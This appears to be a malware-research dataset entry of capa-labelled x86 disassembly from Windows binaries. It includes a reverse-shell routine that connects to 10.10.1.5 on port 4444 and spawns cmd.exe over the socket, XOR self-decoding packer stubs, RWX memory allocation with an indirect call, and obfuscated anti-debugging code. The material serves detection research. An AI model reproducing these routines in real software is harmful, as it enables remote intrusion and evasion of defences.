joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421ff0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 4
mov dword [ebp - 8], 4
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
add ecx, 8
push ecx
mov edx, dword [ebp - 4]
push edx
push str.HEIGHT
push 0x456754
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x422044
jmp 0x422112
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0xc
push ecx
mov edx, dword [ebp - 4]
push edx
push str.CHARSET
push 0x4567a4
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x422076
jmp 0x422112
mov dword [ebp - 4], 1
mov eax, dword [ebp + 8]
add eax, 0x10
push eax
call fcn.0043f226
add esp, 4
lea ecx, [eax + eax + 2]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
add eax, 0x10
push eax
mov ecx, dword [ebp - 4]
push ecx
push str.FACENAME
push 0x4567f8
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4220c2
jmp 0x422112
mov dword [ebp - 4], 4
mov dword [ebp - 8], 4
mov dword [ebp - 0x14], 0x26739a4c
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
push str.SETFONT
push str.SoftwareBaymaxPatchToolsFont
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x422103
jmp 0x422112
mov dword [ebp - 0xc], 1
xor edx, edx
jne 0x422012
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x422e50
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov ecx, dword [ebp - 8]
call fcn.0043c600
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x20], eax
mov edx, dword [ebp - 8]
cmp dword [edx + 0x20], 0xffffffff
jne 0x422e90
xor eax, eax
jmp 0x422f86
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp - 8]
mov dword [edx + 0x2c], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0x6400000
jb 0x422eec
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x20]
push eax
call fcn.00422bc0
add esp, 8
test eax, eax
je 0x422eec
cmp dword [ebp - 4], 0x1000
jb 0x422eec
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx + 0x2c]
jae 0x422eec
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax + 0x2c], ecx
push 0
push 0
push 0
push 2
push 0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x24], eax
mov edx, dword [ebp - 8]
cmp dword [edx + 0x24], 0
jne 0x422f16
xor eax, eax
jmp 0x422f86
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x2c]
push ecx
push 0
push 0
push 4
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x28], eax
mov edx, dword [ebp - 8]
cmp dword [edx + 0x28], 0
jne 0x422f43
xor eax, eax
jmp 0x422f86
mov eax, dword [ebp - 8]
cmp dword [eax + 0x24], 0
je 0x422f62
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x24]
push edx
call fcn.00422470
mov eax, dword [ebp - 8]
mov dword [eax + 0x24], 0
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x20], 0
je 0x422f81
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x20]
push eax
call fcn.00422470
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x20], 0
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x422f90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x28], 0
je 0x422fb4
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x10], 1
jne 0x422fbb
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x2c], 0x40
jae 0x422fbb
xor eax, eax
jmp 0x4230c5
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x28]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp dword [edx + 0x3c], 0x40
jae 0x422fd6
mov dword [ebp - 0x10], 0x40
jmp 0x422fdf
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
add eax, 0xf8
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x10], 1
jne 0x42300b
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x2c]
cmp eax, dword [ebp - 8]
jae 0x42300b
xor eax, eax
jmp 0x4230c5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x28]
mov eax, dword [ebp - 4]
add edx, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x88], edx
mov edx, dword [ebp - 4]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x42303e
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x88]
cmp dword [edx], 0x4550
je 0x423045
xor eax, eax
jmp 0x4230c5
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x88]
movzx eax, word [edx + 0x16]
and eax, 0x2000
neg eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0xc], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x88]
movzx ecx, word [eax + 0x18]
cmp ecx, 0x10b
jne 0x42308e
mov edx, dword [ebp - 0xc]
mov dword [edx + 8], 0
jmp 0x4230bf
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x88]
movzx edx, word [ecx + 0x18]
cmp edx, 0x20b
jne 0x4230bf
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x88]
mov dword [ecx + 0x8c], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + 4]
mov esp, ebp
pop ebp
ret
Function at 0x432a90
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 1
push 0
push 0
push 0x4573ac
push str.open
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc

Function at 0x435630
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x4607a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x120], 0x114
push 0x110
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.0043f140
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
je 0x435694
cmp dword [ebp - 0x11c], 6
jb 0x435694
mov dword [ebp - 0x128], 1
jmp 0x43569e
mov dword [ebp - 0x128], 0
mov al, byte [ebp - 0x128]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043ec15
mov esp, ebp
pop ebp
ret

Function at 0x436610
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
xor eax, eax
jne 0x436619
xor ecx, ecx
jne 0x436619
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
shl eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x436660
mov eax, dword [ebp - 0xc]
jmp 0x4366bd
cmp dword [ebp - 4], 1
je 0x436673
cmp dword [ebp - 4], 2
je 0x436673
mov eax, 0xd
jmp 0x4366bd
cmp dword [ebp + 0xc], 0
je 0x4366b1
cmp dword [ebp - 8], 0
je 0x4366a9
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x4366a0
mov edx, dword [ebp - 8]
shr edx, 1
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + edx*2 - 2]
test ecx, ecx
je 0x4366a7
mov eax, 0xd
jmp 0x4366bd
jmp 0x4366b1
xor edx, edx
mov eax, dword [ebp + 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp + 0x10]
mov dword [edx], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4375c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov byte [ebp - 1], 1
mov ecx, dword [ebp - 0x20]
call fcn.00438910
movzx eax, al
test eax, eax
je 0x43762e
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.004376e0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0xfffffffe
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.004376e0
push eax
push 0x4e
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.00432190
mov ecx, eax
call fcn.0043c600
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x4376cc
mov ecx, dword [ebp - 0x20]
call fcn.00438000
movzx edx, al
test edx, edx
je 0x43767c
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 4]
push ecx
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.004376e0
and eax, 0xffff
movzx edx, ax
push edx
push 0x111
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.00432190
mov ecx, eax
call fcn.0043c600
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x4376cc
push 1
push 0
push 0
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x28]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x14], eax
mov eax, 0x20
cmp eax, dword [ebp - 0x14]
sbb ecx, ecx
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
test edx, edx
je 0x4376cc
mov eax, dword [ebp - 0x20]
mov cl, byte [eax + 0x58]
or cl, 2
mov edx, dword [ebp - 0x20]
mov byte [edx + 0x58], cl
push 1
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.00435c50
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x43c740
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x4607a0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.00436510
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.004365b0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43c7ab
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.00436540
mov eax, dword [ebp - 0x224]
jmp 0x43c83c
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x43c811
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.0043c740
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43c808
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.00436540
mov eax, dword [ebp - 0x228]
jmp 0x43c83c
mov dword [ebp - 4], 0x100
jmp 0x43c7b2
lea ecx, [ebp - 0x14]
call fcn.00436560
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.0043c670
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.00436540
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0043ec15
mov esp, ebp
pop ebp
ret 4
Function at 0x43ce30
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x43ce39
xor ecx, ecx
jne 0x43ce39
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x43ce5a
mov eax, 0xd
jmp 0x43ceb5
xor eax, eax
jne 0x43ce41
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x43ce6b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8

Function at 0x43ec15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4607a0]
jne 0x43ec1f
repz ret
jmp fcn.00440f10

Function at 0x44c7f4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00441e30
and dword [ebp - 4], 0
cmp dword [0x46345c], 0
mov ebx, eax
jne 0x44c8a5
push 0x459340
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44c956
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x459334
push edi
call esi
test eax, eax
je 0x44c956
push eax
call fcn.00441dbe
mov dword [esp], 0x459324
push edi
mov dword [0x46345c], eax
call esi
push eax
call fcn.00441dbe
mov dword [esp], 0x459310
push edi
mov dword [0x463460], eax
call esi
push eax
call fcn.00441dbe
mov dword [esp], 0x4592f4
push edi
mov dword [0x463464], eax
call esi
push eax
call fcn.00441dbe
pop ecx
mov dword [0x46346c], eax
test eax, eax
je 0x44c8a5
push 0x4592dc
push edi
call esi
push eax
call fcn.00441dbe
pop ecx
mov dword [0x463468], eax
mov eax, dword [0x463468]
cmp eax, ebx
je 0x44c8fd
cmp dword [0x46346c], ebx
je 0x44c8fd
push eax
call fcn.00441e39
push dword [0x46346c]
mov esi, eax
call fcn.00441e39
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x44c8fd
test edi, edi
je 0x44c8fd
call esi
test eax, eax
je 0x44c8f4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44c8f4
test byte [ebp - 0xc], 1
jne 0x44c8fd
or dword [ebp + 0x10], 0x200000
jmp 0x44c936
mov eax, dword [0x463460]
cmp eax, ebx
je 0x44c936
push eax
call fcn.00441e39
pop ecx
test eax, eax
je 0x44c936
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44c936
mov eax, dword [0x463464]
cmp eax, ebx
je 0x44c936
push eax
call fcn.00441e39
pop ecx
test eax, eax
je 0x44c936
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46345c]
call fcn.00441e39
pop ecx
test eax, eax
je 0x44c956
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44c958
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44f740
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x463594], 0
push esi
jne 0x44f6b3
call fcn.0044f5d9
test eax, eax
je 0x44f6f6
mov eax, dword [0x463594]
cmp eax, 1
jne 0x44f6d4
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x44f6f6
pop esi
ret
push eax
call dword [0x46359c]
test eax, eax
jne 0x44f73e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x44f6fa
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x463594]
call dword [0x46359c]
mov edi, eax
test edi, edi
je 0x44f71f
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x44f73b
mov edi, esi
add esi, 0xff0
push edi
push dword [0x463594]
call dword [0x463598]
add edi, 0x10
cmp edi, esi
jb 0x44f727
mov eax, edi
pop edi
pop esi
ret
jmp 0x44f6a0

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x748123ca
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x716e4b38
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..data
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xc993a53
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..text
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x92b5207
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x402580
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.00401590
mov dword [ebp - 0xc], str.10.10.1.5
mov word [ebp - 0xe], 0x115c
mov dword [esp + 4], 0x403060
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x403034], eax
mov word [0x403024], 2
movzx eax, word [ebp - 0xe]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x403026], ax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x403028], eax
mov eax, dword [0x403034]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x403024
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x403200
call sub.msvcrt.dll_memset
mov dword [0x403200], 0x44
mov dword [0x40322c], 0x100
mov eax, dword [0x403034]
mov dword [0x403240], eax
mov eax, dword [0x403240]
mov dword [0x40323c], eax
mov eax, dword [0x40323c]
mov dword [0x403238], eax
mov dword [esp + 0x24], 0x403038
mov dword [esp + 0x20], 0x403200
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
jmp fcn.00401420
Function at 0x698418
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop edi
mov si, 0x61f
pop di
jmp 0x69843c

Function at 0x6985b7
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edx, [edx + ebx]
pop cx
pop ax
bswap ebp
inc ch
rol bl, 5
jmp 0x6985df
not edx
mov ecx, ebp
rdtsc
mov ah, byte [esp + 3]
jmp 0x6985a1
std
rdtsc
mov di, word [esp]
mov cx, 0x4b67
sub esp, 0x1a
push dword [esp + 0x10]
jmp 0x698605
lea esi, [edi - 0x20]
mov eax, dword [esp]
clc
mov bl, ah
xchg dl, al
mov ax, si
jmp 0x6985c3
xchg dword [esp + 5], edx
xchg byte [esp + 0x15], ah
rdtsc
mov ebp, dword [esp + 3]
jmp 0x698de1
xchg edx, eax
not ax
mov ebx, edx
mov byte [esp + 9], ch
mov ah, bh
mov ebp, 0xfbe172ff
jmp 0x6985ef
mov al, byte [esp + 0x11]
pop si
push word [esp + 0x11]
xchg ecx, eax
btc ax, bx
not cx
jmp 0x698671
mov ax, word [esp + 0xd]
push esi
neg esi
mov word [esp + 0x19], si
cpuid
mov bh, byte [esp + 0xa]
jmp 0x698633
mov bh, ah
neg cl
bsr bp, bp
dec bp
not bh
cld
jmp 0x6986b0
btr bx, bx
pop esi
add esp, 2
ror dh, cl
rdtsc
cld
jmp 0x698916
add esp, 9
rdtsc
lea edi, reloc.WINMM.dll_midiStreamStop
mov cx, word [esp]
mov byte [esp + 0xf], dl
xchg bl, ch
jmp 0x69865c
lea esi, [edx*4]
std
mov dl, 0x1e
xchg dword [esp + 9], eax
push dword [esp + 0x19]
pop ax
jmp 0x698680
mov dh, 0x31
lea esi, [esp - 0xc9]
mov byte [esp + 0x18], ah
push esi
pushfd
lea edi, [ecx + edx]
jmp 0x698699
neg ch
rcr dh, 2
call fcn.00698858
setae bl
call int.00698980
mov al, 0x26
mov ah, 0xd3
wait
ret 0xcb5b
bswap ebx
xor ebx, 0xa95fdb25
mov eax, dword [esp + 4]
sub esp, 0xf
mov ebp, ecx
lea ebp, [ecx*4]
jmp 0x6986d0
sub esp, 0
neg ah
mov bl, 0x74
cpuid
xchg ah, al
add esp, 0xf
jmp 0x698c5f
Function at 0x698858
Capabilities:
Execute anti-debugging instructions

Disassembly:
dec bp
lea eax, [esi*4]
xchg byte [esp + 0x1a], dh
xchg ebp, esi
lea eax, [ecx + ebx]
jmp 0x69872b
mov ebp, 0x33d6210f
xchg byte [esp + 7], ch
xchg edi, eax
mov di, word [esp + 0x1c]
btc di, cx
mov dx, 0x6ba1
jmp 0x6986e4
rdtsc
mov cl, 0x47
sub esp, 0x16
sub esp, 0xb
neg di
jmp 0x6987e4
popal
add esp, 4
cpuid
setl dh
mov eax, dword [esp]
push ebp
jmp 0x698715
xchg cx, bx
mov eax, ebx
setnp dl
add dl, ch
lea ebx, [ebx*4]
push dword [esp + 0xf]
jmp 0x6986fc
mov dh, 0x69
dec ch
pop word [esp + 0xd]
neg di
neg dl
pop dword [esp + 0xe]
jmp 0x6987a4
lea ebx, [edx*4]
xchg edx, ecx
xchg esi, eax
mov dword [esp + 1], ebx
cmp edx, ebp
push dword [esp + 0x10]
jmp 0x69875c
pushal
lea esp, [esp + 0x43]
xchg ecx, ebx
xchg edi, esi
rol bl, cl
xchg ebx, eax
jmp 0x6987cd
std
xchg cl, dl
mov dword [esp + 9], ebx
mov bx, 0x7f90
push edi
mov word [esp + 0x13], bx
jmp 0x69878e
mov edi, ebp
neg ebp
not dl
mov ebx, dword [esp]
mov ecx, dword [esp]
xchg bp, ax
jmp 0x69881c
mov dx, 0x3059
setne bh
xchg si, bx
xchg ebx, eax
xchg ebp, esi
xchg ah, cl
jmp 0x6987b7
pop dword [esp + 7]
btc edx, esi
std
pop ax
lea ebp, reloc.WINMM.dll_midiStreamStop
neg al
jmp 0x698778
rdtsc
lea eax, [eax*4]
mov ebp, dword [esp]
mov esi, dword [esp]
call fcn.006987f8
sbb di, 0xc314
xchg ecx, ebp
lea edi, [ecx + 0x62]
pushfd
pop ecx
mov ebx, edx
jmp 0x6988b0
add esp, 0
lea eax, [edi + ebp]
mov bh, 0x9c
xchg dl, cl
mov cx, word [esp + 5]
bswap eax
jmp 0x698884
mov dx, word [esp + 0x18]
mov si, word [esp + 0x1e]
mov word [esp + 0xb], si
mov edi, esi
jmp 0x698745
mov bl, 0x90
call fcn.006988dd
pop ebp
rol byte [eax + 0x27], cl
sal byte [eax], cl
fst qword [edi - 0x39]
mov byte [0xe54ab451], al
adc al, 0xf
mov ebp, 0x1bb66e8
in eax, dx
bsr ebp, eax
mov bx, 0xed01
sbb edi, ebx
pop word [esp]
mov bx, 0x5e92
push word [esp + 1]
jmp 0x69886e
lea ecx, reloc.WINMM.dll_midiStreamStop
lea esp, [esp]
push cx
xchg byte [esp], cl
clc
lea ebp, [ecx + edx]
jmp 0x698840